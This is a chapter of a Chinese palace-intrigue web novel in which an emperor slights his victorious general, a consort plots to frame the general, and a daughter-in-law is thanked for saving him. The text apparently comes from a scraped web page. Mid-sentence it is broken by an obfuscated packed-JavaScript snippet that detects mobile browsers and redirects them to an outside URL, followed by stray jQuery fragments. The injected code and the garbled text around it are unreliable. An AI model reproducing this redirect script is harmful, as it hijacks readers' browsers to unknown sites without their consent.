94. 第 94 章

作品:《替嫁明珠

    游街示喜结束后,李济带领部分将领继续前行至宣德门,进行献俘。


    文武百官分列两侧,皇帝萧煜戴通天冠,着绛纱袍,登上了宣德门城楼。


    士兵将俘虏押解就位。


    在此情境之下,皇帝不免心潮澎湃。收回燕云十六州,擒获胡人威名赫赫的主帅,从前便是他的父皇,也不敢作此设想。


    然而他,萧煜,做到了。


    如此武功,足以让他震烁古今,名垂千古。


    只可惜李济这个乱臣贼子的威胁尚在。想到这里,他心情稍稍低落,转头看向按剑而立的李济,见他目光如电,渊渟岳峙,神威凛凛,好似天将下凡。


    恐慌又一次向他袭来,冷汗瞬间涔涔而下。


    他深知,此人不仅用兵如神,且足智多谋,算无遗策,如今更是功勋卓著,再不将他除去,自己妄想在皇位上安稳。


    “陛下?”太监李贵祥在旁轻声提醒他,原来礼官已将捷报文书宣读完毕,刑部尚书请他裁决俘虏了。


    本朝以仁著称,常赦免俘虏,但本次胡人先是将投降扣门的周作杀了,后来挥师南下时又洗劫了数个城池,无数的大晋百姓惨死在他们的铁蹄之下,且此次收回燕云十六州,震慑海内,正需借俘虏立威,让四夷宾服,万邦来朝。


    “斩!”


    皇帝一声令下,俘虏瞬间人头落地,血溅宣德门城楼下。


    在将士和百官、百姓的如山似海的万岁声中,皇帝的笑容重新挂回脸上,下令回宫,赐宴有功之臣。


    李济、郑达、张固、顾虎、赵立等将领随皇帝进宫参加宫宴。


    作为今日最大的功臣,李济身边围满了前来给他敬酒的官员,镇国公李跃作为他的父亲,又本是战功赫赫的老将,自然也得到了热情的对待。


    忠勇侯张勇对镇国公道:“曹阿瞒说,生子当如孙仲谋,这话只怕要改了,生子当如李济之!”


    旁边几个官员听了,连声附和,对镇国公的羡慕和和对李济的敬佩溢于言表。


    李跃口称过奖,但有这样一个耀目如日的儿子,区区凡人,很难不骄傲。


    萧煜虽早已认定满朝文武大半都和镇国公府暗中勾结,但见那些官员当他面也如此放肆,心中还是恼恨不已,又暗自心惊。


    酒过三巡,该论功行赏了,皇帝却迟迟不开口,众臣诧异,频频看向皇帝。


    今日可是庆功宴,人人都拿酒敬今日的功臣,再不封赏,大家可都要喝醉了。虽说宫宴后才会下圣旨,但庆功宴不赏功臣,从古至今就未发生过这样的事。


    礼部官员你看看我我看看你,暗中用眼神交流。


    甲:陛下不愿封赏李济。


    乙点头:这还用你说?傻子也看得出来。


    丙:那咱们怎么办啊?可要开口?


    甲乙齐齐摇头,然后看向站在皇帝身边的李贵祥。


    李贵祥是御前太监,是跟在皇帝身边多年的王德忠的干儿子。


    王德忠上月死了,他死后,李贵祥跻身而上,成为了皇帝身边最得力的太监。


    众大臣的频频用眼神暗示他,李贵祥初时只眼观鼻鼻观心装没看见,但宫宴都开始两个时辰了,陛下还没开口的意思,他只好暗暗叹了口气,在旁边悄声道:“陛下,该封赏功臣了。”


    萧煜不满地抬头瞥了李贵祥一眼,他当然知道自己该做什么。


    可他实在不愿。


    李济本就是镇国公世子,他自然不能将他封作侯、伯,可再往前一步,便是郡王了。


    本朝不是没有封过异姓王,但李济绝不能是其中一个。所以礼部虽拟了旨上来,他只作不见,迟迟没有批复。


    他喝了一口手中的酒,勉强露出笑脸道:“济之,你英勇退敌,立下大功,朕封你为太保,赐开府权,享食邑三千户。”


    殿堂内一时鸦雀无声。


    李济击退胡人,又收回燕云十六州,封个郡王也不算过分,陛下却只给他封了一堆虚衔。


    太保、开府权听着好听,其实一点实权也没有。


    至于食邑三千户,本也不是实封,要收回还不是一句话的事?


    郑达、张固等面露不满,刚要开口,却见李济对他们轻轻摇了摇头。


    他们只能按捺下来,忍着气给自己灌了一杯酒。


    李济朝为他不值的官员露出一个淡淡的的笑容,将酒一饮而尽。


    李济尚且只给虚衔,郑达、张固几个被视为李济左膀右臂的将领自然也不会有什么好的封赏,反而功劳不如他们大的一些将领,得到了实实在在的好处。


    殿内气氛明显冷了下来,礼部的官员只好拼命活跃气氛,整个紫宸殿内,回荡着礼部官员心虚的笑声。


    ……


    柔仪殿中,杨绾柔和皇帝一样,因为李济凯旋一事惶惶不安。


    李济安然无恙地回来了,他会做什么?他知道瘟疫的事了吗?陈灵珠会把毒蛇那件事告诉他吗?一定会的罢?


    她该怎么办呢?


    她想不明白,她都已经进了宫,成了高高在上的贤妃了,怎的还是无法摆脱这种担惊受怕的处境?


    “贱人!都是贱人!”


    她口中恨恨出声,将一个茶盏扫落在地。


    她的婢女翠玉默默让人将狼藉收拾了,却不敢再多说别的。


    当初彩玉就是多嘴向贤妃献计,才会丢了性命。


    做奴婢的便是如此可怜,事情做好了,主子不过赏点银子夸奖几句,出了差池,却随时都能丢了性命。


    如今她只想明哲保身,做一个安分守己的奴婢。


    杨绾柔见翠玉只嘴上附和着,并不像以前那样出谋献策,不免有些无趣。她不满地瞥她一眼,不耐烦挥手道:“你也先下去罢。”


    她心知翠玉是吓到了,因为她狠心杀了彩玉,但这如何能怪她?


    当初她醒来,得知她几乎寄托了全部希望的孩子可能保不住,气得差点发狂。


    如意自然是罪该万死,就连她那宫外的弟弟,也合该跟他姐姐到黄泉作伴。


    彩玉呢,若是她预先知道孩子能保住,她倒未必会杀了她,毕竟彩玉机灵,点子也多,可是当时她以为孩子要没了,惊怒之下,自然要找些人发泄怒火。彩玉作为始作俑者,当然难逃其咎。


    也许就是因为这样,把翠玉惊着了,从此便与她离了心。


    都怪陈灵珠那个小贱人,否则她和她两个心腹婢女何至于此,闹得如今一个趁手的人都没有。柔仪殿宫婢虽多,到底都不是自己人,如今说不得还得费心培养三两个。


    她咬牙,陈灵珠这贱人,病了这么久,怎么还不死?


    还有李济,万一他造反逼宫,那自己就是做了皇后也无用。


    要怎么才能杀了李济呢……


    她绞尽脑汁想了一晚,待庆功宴散席,来到了延福宫。


    皇帝喝了不少酒,已是有些醉了,见了她脸上也没有笑容,反而不耐烦道:“你来做什么?”


    上次杨绾柔出的那个时疫的法子,他听了,可最后没能杀死李济不说,还被朝臣发现他故意拖延调治西南的瘟疫和暗中控制草药,让他们对他这个皇帝更为不满。


    杨绾柔道:“陛下,妾有一个法子可以杀了李济,陛下可愿一听?”


    皇帝正揉着太阳穴,闻言停下手瞥了她一眼。


    这一次,她又有什么好的法子?


    “你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028528|190011||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说。”


    杨绾柔附到他耳边,如此这般地说了一遍。


    “可是这么做,只怕所有人都会看出来,这是栽赃。”


    毕竟,他对李济的心思,已经是路人皆知了。


    杨绾柔道:“陛下,栽赃又如何?就算是明着栽赃,只要将证据坐实了,将镇国公府铲除了,他们又能如何?”


    皇帝还是有些犹豫,杨绾柔又道:“陛下,当断不断反受其乱,如今李济刚刚回京,陛下不杀他个措手不及,更待何时!”


    ……


    陈灵珠奔波劳碌了一路,没有等到李济散席便睡着了。


    醒来,见李济躺在身旁,单手支着脑袋,目不转睛地看着她。


    她摸了摸脸,“怎么了?”


    李济微笑道:“无事,好久不曾好好看看你。”


    陈灵珠笑道:“夫君是不习惯我现在的模样罢?”


    李济笑道:“是有些不习惯。”


    陈灵珠好笑道:“那我再易容成吴楚仁?”


    他笑道:“随你喜欢,反正无论你变成什么模样,只要你还是你,我就都可以。”


    他也曾以为他喜欢的是她的皮相,还曾暗暗谴责自己浅薄。然而当她易容成吴楚仁时,他并不觉得相貌平常的吴楚仁有何不妥,只觉得她一举手一投足都可爱至极。后面他想,若她本就长吴楚仁这样的模样,他还会倾心于她吗?极大可能还是会的,她的容貌固然无匹,但她吸引他的,从来不仅仅是容貌。


    陈灵珠嘟囔道:“花言巧语。祖母还说你不懂,我看你懂得很。你老实交代,你是不是情场老手,装不懂来骗我?”


    他笑着将她抱起,亲了她一会儿,笑道:“我倒希望自己什么都懂,这样,就不会惹我们少夫人生气了。”


    陈灵珠半信半疑地看着他,总觉得此人好听的话张口就来,过于顺滑,他笑道:“快起来罢,爹已经等了好久了。”


    她道:“父亲等我们,是为了何事?”


    李济道:“不是我们,是你。”


    她?她不明白,李济却卖关子不肯说。


    她起来梳洗了,来到小书房,果然看到镇国公就在那里坐着。


    见到陈灵珠,镇国公绕出书案,朝她郑重作揖道:“此番济儿能安然无恙,军中将士能躲过一劫,多亏了你。过去我不了解你,对你抱有怀疑之心,如今想来,羞愧万分。”


    他心里,对陈灵珠是极感激的,对这个小姑娘的机智、勇敢和仁心仁术,也十分佩服和欣赏。想到他从前对陈灵珠抱有怀疑之心,心中难免羞愧。


    他是个敢作敢当的人,既错了便认。这姑娘直接救了他的儿子,间接救了包括镇国公府在内的无数人,难道还当不起他一个道歉?便是负荆请罪,她也受之有余。


    陈灵珠虚扶了镇国公一把道:“父亲也是出于谨慎,儿媳怎敢责怪父亲?”


    镇国公面带愧色道:“无论如何,是我过于武断,差点让你受了委屈。”


    陈灵珠道:“父亲切莫如此!在我心中,镇国公府的长辈都待我极好,就算父亲曾心有防备,也不过是形势所逼,需要顾全大局罢了。何况父亲如果不是已经相信了我,断不会让我去幽州。我一走了之容易,镇国公府却要冒极大的风险。我能做成这些微末小事,也是全靠几位长辈支持。儿媳感激还来不及,又怎会责怪长辈?”


    这话说得镇国公心里既惭愧,又熨帖,叹道:“我李家有你这样的媳妇,是我李家之福。”


    他看向儿子,“小子,眼光不错!”


    李济看了陈灵珠一眼,面带骄傲笑道:“那是自然。”


    镇国公哈哈大笑,陈灵珠有些不好意思地与李济相视而笑。